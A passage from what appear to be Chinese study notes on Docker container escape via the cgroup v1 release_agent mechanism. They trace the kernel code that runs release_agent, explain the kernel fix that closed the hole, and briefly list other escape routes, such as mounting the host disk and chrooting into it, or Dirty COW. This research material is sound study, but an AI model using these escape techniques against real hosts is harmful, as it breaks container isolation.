对应的输出字符串 `Setting release_agent not allowed` 215 | 216 | https://github.com/torvalds/linux/blame/master/kernel/cgroup/cgroup-v1.c#L972 217 | 218 | > This is out of date 219 | > Now is https://github.com/torvalds/linux/blob/8f71a2b3f435f29b787537d1abedaa7d8ebe6647/kernel/cgroup/cgroup-v1.c#L979-L987 220 | 221 | git blame 一手发现其相关行变更的最后一个提交是 222 | 223 | https://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02af 224 | 225 | 于是这个修复彻底堵塞了高版本内核下的 docker release_agent 逃逸的可能 226 | 227 | 并且其于 今年 2 月 2 日加入 主分支 228 | 229 | 也就是内核版本 [v5.17-rc3](https://github.com/torvalds/linux/releases/tag/v5.17-rc3) 与 [v5.17-rc2](https://github.com/torvalds/linux/releases/tag/v5.17-rc2) 之间 被打包进入 rc3 230 | 231 | 也就是 5.16.X 之前都会有问题 rc 是发布前 232 | 233 | 而我的 kali 是 4 月 1 日编译的 最近刚刚发布 234 | 235 | 而腾讯云 VPS 是 2021 年 9 月的编译 236 | 237 | 就是因为这几个版本的差别 堵死了漏洞利用 238 | 239 | > 另外 debian 虽然稳定 但是他们会改内核 ... 所以在版本上略微不准 可以跟随编译时间 加以判断. 240 | 241 | ## 其他方法 242 | 243 | 1. mount 设备 /dev/sda1 (也有可能是其他的磁盘 有一些可能是虚拟磁盘) 直接 chroot 进入宿主机主机 244 | 2. 敏感 proc 目录挂载导致的意外读写 控制内核在进行释放或者 245 | 3. kernel exploit in shared memory to trigger kernel to execute 246 | > 例如 dirtycow Copy on write 针对 Vdso 虚拟动态共享对象 247 | 248 | # Wrap up 249 | ## 逃逸 250 | docker 中两个没有被隔离的东西: 251 | 1. 未被良好分离的资源 252 | > 这里包括但不限于挂载 链接 253 | 3. 内核 254 | 255 | 所以只要我们从这两个地方入手, 就很容易发现逃逸的核心原理 256 | 257 | 接下来对于安全策略什么的都只是限制我们达到目的障碍而已, 只要合理规避或者干掉这些策略就可以让我们达到逃逸出去的核心地方. 258 | 259 | ## 后记 260 | 此外, 我认为容器逃逸可以被抽象为 `信息+滥用` 的过程 261 | 收集容器中必要的信息 包括但不限于 权限多大 什么内核 可以操作什么 对方有无挂载等信息 262 | 加以一定的先验知识 在这里需要 docker 与 linux 内核的一些知识 263 | 推理并且构造出有效利用这些信息的方法造成更大的危害 264 | 265 | 不过其实我更感兴趣的事是 是什么启发了他们 可以利用或者发现了 release_agent 这种方式. 266 | release_agent 本是内核用来处理 cgroup 中子系统任务完成后退出 或者说 废弃 cgroup 之后的处理方案 是让 shell 去处理删掉废弃的文件和任务 进行清理的 但是很明显处理 release_agent 的权限没有被内核良好处理 267 | 268 | -------------------------------------------------------------------------------- /cgroup - kernel code.md: -------------------------------------------------------------------------------- 1 | > 为什么会以 kernel 的形式来 执行 release_agent 的命令呢? 2 | 3 | ## [[usermodehelper]] program 4 | 在再次观摩了 [[reference#BlackHat 2019 Docker Escape]] 的视频后, 我发现了一个有趣的东西叫做 [[reference#Usermod helper]] 5 | 6 | > 用户模式小助手(x 7 | 8 | 用于帮助内核来执行用户态的程序 9 | > 这个过程和系统调用 syscall 相反 10 | 11 | 但本质可以看作是 call shell 去执行或者 call 应用程序去执行的 execve 函数 主要用于内核调用用户模式的 call 12 | 13 | 在 cgroup1 中 [cgroup1_release_agent](https://github.com/torvalds/linux/blob/24f6008564183aa120d07c03d9289519c2fe02af/kernel/cgroup/cgroup-v1.c#L756-L820) 是唯一一个调用 call_usermodehelper 的函数 14 | 15 | 这里可以看到 call usermod helper 的具体的执行位置, 分别限制了最基本的环境变量. 16 | 17 | 接着我们跟踪调用这个函数的调用者 18 | 19 | 简单的查询一下发现 [init_cgroup_housekeeping](https://github.com/torvalds/linux/blob/7e062cda7d90543ac8c7700fc7c5527d0c0f22ad/kernel/cgroup/cgroup.c#L1942-L1965) 函数调用了它. 从命名中不难看出 是一种类似于清理房屋整理功能安排调度的意思. 20 | 21 | ## 如何布置 cgroup 的任务 22 | entrypoint: https://github.com/torvalds/linux/blob/7e062cda7d90543ac8c7700fc7c5527d0c0f22ad/kernel/cgroup/cgroup.c#L1942-L1965 23 | 24 | > 第二个是 25 | 26 | 而这里作为参数传入的 cgroup 结构体 跟踪其头文件我们可以看到通过 inlucde 进行定义的 27 | >linux 内核将所有的文件包含放在了 项目根/include 文件夹下 28 | 29 | ```c 30 | // file: include/linux/cgroup.h Line 28 31 | #include 32 | // file: include/linux/cgroup-defs.h Line 360 33 | struct cgroup { 34 |     /* self css with NULL ->ss, points back to this cgroup */ 35 |     struct cgroup_subsys_state self; 36 |     unsigned long flags;        /* "unsigned long" so bitops work */ 37 |     /* 38 |      * The depth this cgroup is at.  The root is at depth zero and each 39 |      * step down the hierarchy increments the level.  This along with 40 |      * ancestor_ids[] can determine whether a given cgroup is a 41 |      * descendant of another without traversing the hierarchy. 42 |      */ 43 |     int level; 44 |     /* Maximum allowed descent tree depth */ 45 |     int max_depth; 46 |     /* 47 |      * Keep track of total numbers of visible and dying descent cgroups. 48 |      * Dying cgroups are cgroups which were deleted by a user, 49 |      * but are still existing because someone else is holding a reference. 50 |      * max_descendants is a maximum allowed number of descent cgroups. 51 |      * 52 |      * nr_descendants and nr_dying_descendants are protected 53 |      * by cgroup_mutex and css_set_lock. It's fine to read them holding 54 |      * any of cgroup_mutex and css_set_lock; for writing both locks 55 |      * should be held. 56 |      */ 57 |     int nr_descendants; 58 |     int nr_dying_descendants; 59 |     int max_descendants; 60 |     /* 61 |      * Each non-empty css_set associated with this cgroup contributes 62 |      * one to nr_populated_csets.  The counter is zero iff this cgroup 63 |      * doesn't have any tasks. 64 |      * 65 |      * All children which have non-zero nr_populated_csets and/or 66 |      * nr_populated_children of their own contribute one to either 67 |      * nr_populated_domain_children or nr_populated_threaded_children 68 |      * depending on their type.  Each counter is zero iff all cgroups 69 |      * of the type in the subtree proper don't have any tasks. 70 |      */ 71 |     int nr_populated_csets; 72 |     int nr_populated_domain_children; 73 |     int nr_populated_threaded_children; 74 |     int nr_threaded_children;   /* # of live threaded child cgroups */ 75 |     struct kernfs_node *kn;     /* cgroup kernfs entry */ 76 |     struct cgroup_file procs_file;  /* handle for "cgroup.procs" */ 77 |     struct cgroup_file events_file; /* handle for "cgroup.events" */ 78 |     /* 79 |      * The bitmask of subsystems enabled on the child cgroups. 80 |      * ->subtree_control is the one configured through 81 |      * "cgroup.subtree_control" while ->subtree_ss_mask is the effective 82 |      * one which may have more subsystems enabled.  Controller knobs 83 |      * are made available iff it's enabled in ->subtree_control. 84 |      */ 85 |     u16 subtree_control; 86 |     u16 subtree_ss_mask; 87 |     u16 old_subtree_control; 88 |     u16 old_subtree_ss_mask; 89 |     /* Private pointers for each registered subsystem */ 90 |     struct cgroup_subsys_state __rcu *subsys[CGROUP_SUBSYS_COUNT]; 91 |     struct cgroup_root *root; 92 |     /* 93 |      * List of cgrp_cset_links pointing at css_sets with tasks in this 94 |      * cgroup.  Protected by css_set_lock. 95 |      */ 96 |     struct list_head cset_links; 97 |     /* 98 |      * On the default hierarchy, a css_set for a cgroup with some 99 |      * susbsys disabled will point to css's which are associated with 100 |      * the closest ancestor which has the subsys enabled.  The 101 |      * following lists all css_sets which point to this cgroup's css 102 |      * for the given subsystem. 103 |      */ 104 |     struct list_head e_csets[CGROUP_SUBSYS_COUNT]; 105 |     /* 106 |      * If !threaded, self.  If threaded, it points to the nearest 107 |      * domain ancestor.  Inside a threaded subtree, cgroups are exempt 108 |      * from process granularity and no-internal-task constraint. 109 |      * Domain level resource consumptions which aren't tied to a 110 |      * specific task are charged to the dom_cgrp. 111 |      */ 112 |     struct cgroup *dom_cgrp; 113 |     struct cgroup *old_dom_cgrp;        /* used while enabling threaded */ 114 |     /* per-cpu recursive resource statistics */ 115 |     struct cgroup_rstat_cpu __percpu *rstat_cpu; 116 |     struct list_head rstat_css_list; 117 |     /* cgroup basic resource statistics */ 118 |     struct cgroup_base_stat last_bstat; 119 |     struct cgroup_base_stat bstat; 120 |     struct prev_cputime prev_cputime;   /* for printing out cputime */ 121 |     /* 122 |      * list of pidlists, up to two for each namespace (one for procs, one 123 |      * for tasks); created on demand. 124 |      */ 125 |     struct list_head pidlists; 126 |     struct mutex pidlist_mutex; 127 |     /* used to wait for offlining of csses */ 128 |     wait_queue_head_t offline_waitq; 129 |     /* used to schedule release agent */ 130 |     struct work_struct release_agent_work; // 这个struct 我们需要注意这里 有了 init work 的第一个参数 131 |     /* used to track pressure stalls */ 132 |     struct psi_group psi; 133 |     /* used to store eBPF programs */ 134 |     struct cgroup_bpf bpf; 135 |     /* If there is block congestion on this cgroup. */ 136 |     atomic_t congestion_count; 137 |     /* Used to store internal freezer state */ 138 |     struct cgroup_freezer_state freezer; 139 |     /* ids of the ancestors at each level including self */ 140 |     u64 ancestor_ids[]; 141 | }; 142 | ``` 143 | 144 | 我们可以看到 work_struct 作为类型放在了 release_agent 前面 145 | 146 | 而 work_struct 通过 cgroup-defs.h 的第 21 行声明 在 `include/linux/workqueue.h` 中可以被找到 147 | 148 | ```c 149 | struct work_struct { 150 | atomic_long_t data; 151 | struct list_head entry; 152 | work_func_t func; 153 | #ifdef CONFIG_LOCKDEP 154 | struct lockdep_map lockdep_map; 155 | #endif 156 | }; 157 | ``` 158 | 159 | 定义了 work 的函数和数据 然后作为队列放入 workqueue 由内核去做 160 | 161 | 函数 INIT_WORK 因为其大写很容易猜测是一个 宏 162 | 163 | 确实 我在 workqueue.h 中也找到了 他的定义 164 | 165 | ```c 166 | #define INIT_WORK(_work, _func) \ 167 | 168 | __INIT_WORK((_work), (_func), 0) 169 | ``` 170 | 是另一个宏的定义 171 | 172 | ```c 173 | #ifdef CONFIG_LOCKDEP 174 | #define __INIT_WORK(_work, _func, _onstack) \ 175 | do { \ 176 | static struct lock_class_key __key; \ 177 | \ 178 | __init_work((_work), _onstack); \ 179 | (_work)->data = (atomic_long_t) WORK_DATA_INIT(); \ 180 | lockdep_init_map(&(_work)->lockdep_map, "(work_completion)"#_work, &__key, 0); \ 181 | INIT_LIST_HEAD(&(_work)->entry); \ 182 | (_work)->func = (_func); \ 183 | } while (0) 184 | #else 185 | #define __INIT_WORK(_work, _func, _onstack) \ 186 | do { \ 187 | __init_work((_work), _onstack); \ 188 | (_work)->data = (atomic_long_t) WORK_DATA_INIT(); \ 189 | INIT_LIST_HEAD(&(_work)->entry); \ 190 | (_work)->func = (_func); \ 191 | } while (0) 192 | #endif 193 | ``` 194 | 195 | 就是个从工作队列开始不停执行 workqueue 到结束的循环 196 | 197 | 而且根据文件 `include/trace/events/cgroup.h` 198 | 199 | > 也就是在 `kernel/cgroup/cgroup.c` 64 行中被引入 200 | 201 | ```c 202 | DEFINE_EVENT(cgroup, cgroup_release, 203 |     TP_PROTO(struct cgroup *cgrp, const char *path), 204 |     TP_ARGS(cgrp, path) 205 | ); 206 | DEFINE_EVENT(cgroup, cgroup_rename, 207 |     TP_PROTO(struct cgroup *cgrp, const char *path), 208 |     TP_ARGS(cgrp, path) 209 | ); 210 | DEFINE_EVENT(cgroup, cgroup_freeze, 211 |     TP_PROTO(struct cgroup *cgrp, const char *path), 212 |     TP_ARGS(cgrp, path) 213 | ); 214 | ``` 215 | 这里不止 release 会有 release 事件产生 216 | 217 | 重命名和冻结等等也是可以有事件产生的 218 | 219 | 关于 notify_on_release 可以找到 cgroup-v1.c 中找到 220 | 221 | ```c 222 | /* cgroup core interface files for the legacy hierarchies */ 223 | struct cftype cgroup1_base_files[] = { 224 | { 225 | .name = "cgroup.procs", 226 | .seq_start = cgroup_pidlist_start, 227 | .seq_next = cgroup_pidlist_next, 228 | .seq_stop = cgroup_pidlist_stop, 229 | .seq_show = cgroup_pidlist_show, 230 | .private = CGROUP_FILE_PROCS, 231 | .write = cgroup1_procs_write, 232 | }, 233 | { 234 | .name = "cgroup.clone_children", 235 | .read_u64 = cgroup_clone_children_read, 236 | .write_u64 = cgroup_clone_children_write, 237 | }, 238 | { 239 | .name = "cgroup.sane_behavior", 240 | .flags = CFTYPE_ONLY_ON_ROOT, 241 | .seq_show = cgroup_sane_behavior_show, 242 | }, 243 | { 244 | .name = "tasks", 245 | .seq_start = cgroup_pidlist_start, 246 | .seq_next = cgroup_pidlist_next, 247 | .seq_stop = cgroup_pidlist_stop, 248 | .seq_show = cgroup_pidlist_show, 249 | .private = CGROUP_FILE_TASKS, 250 | .write = cgroup1_tasks_write, 251 | }, 252 | { 253 | .name = "notify_on_release", 254 | .read_u64 = cgroup_read_notify_on_release, 255 | .write_u64 = cgroup_write_notify_on_release, 256 | }, 257 | { 258 | .name = "release_agent", 259 | .flags = CFTYPE_ONLY_ON_ROOT, 260 | .seq_show = cgroup_release_agent_show, 261 | .write = cgroup_release_agent_write, 262 | .max_write_len = PATH_MAX - 1, 263 | }, 264 | { } /* terminate */ 265 | }; 266 | ``` 267 | 268 | 这里定义了几个配置文件 269 | 270 | 了解了这些基础信息之后, **我们核心要关注的两个文件是 kernel/cgroup/cgroup.c 和 kernel/cgroup/cgroup-v1.c** 271 | 272 | 这两个定义了 cgroup 的核心处理流程 综合其他的诸如配置信息 进行阅读可以发现 [文件 `kernel/cgroup/cgroup-v1.c` 的 751 行 ](https://cs.github.com/torvalds/linux/blob/7e062cda7d90543ac8c7700fc7c5527d0c0f22ad/kernel/cgroup/cgroup-v1.c#L751)有如下定义 273 | 274 | ```c 275 | void cgroup1_check_for_release(struct cgroup *cgrp) 276 | { 277 | if (notify_on_release(cgrp) && !cgroup_is_populated(cgrp) && 278 | !css_has_online_children(&cgrp->self) && !cgroup_is_dead(cgrp)) 279 | schedule_work(&cgrp->release_agent_work); 280 | } 281 | ``` 282 | 283 | 这个函数就是为什么当 notify 设为 1 会将 release_agent 的任务塞入最后的原因 284 | 285 | 现在所有的逻辑链全部被串通了. 286 | 287 | 在布置 cgroup subsystem 的时候 系统会对每个任务进行布置 依次塞入 workqueue 队列中, 当 notfiy 被设置时会调度入 release_agent_work 结构体进入其队列当中, 当所有任务执行完成 或者说产生了任务完成的 Event 这样这个结构体会被传入然后执行 call_usermodehelper 288 | 289 | 同样通过查询 `->release_agent_work` 这个我们可以看到 引用这个 work 或者执行这个 work 的只有 那两个我们需要核心关注的文件. 290 | 291 | ### 一点点猜想 292 | 但是我想至于为什么只有 release_agent 可以我想是只有 release 这个特殊的事件具有 这种 call_usermodehelper 并且用配置文件 release_agent 进行配置 293 | 294 | refer: [[cgroup]] --------------------------------------------------------------------------------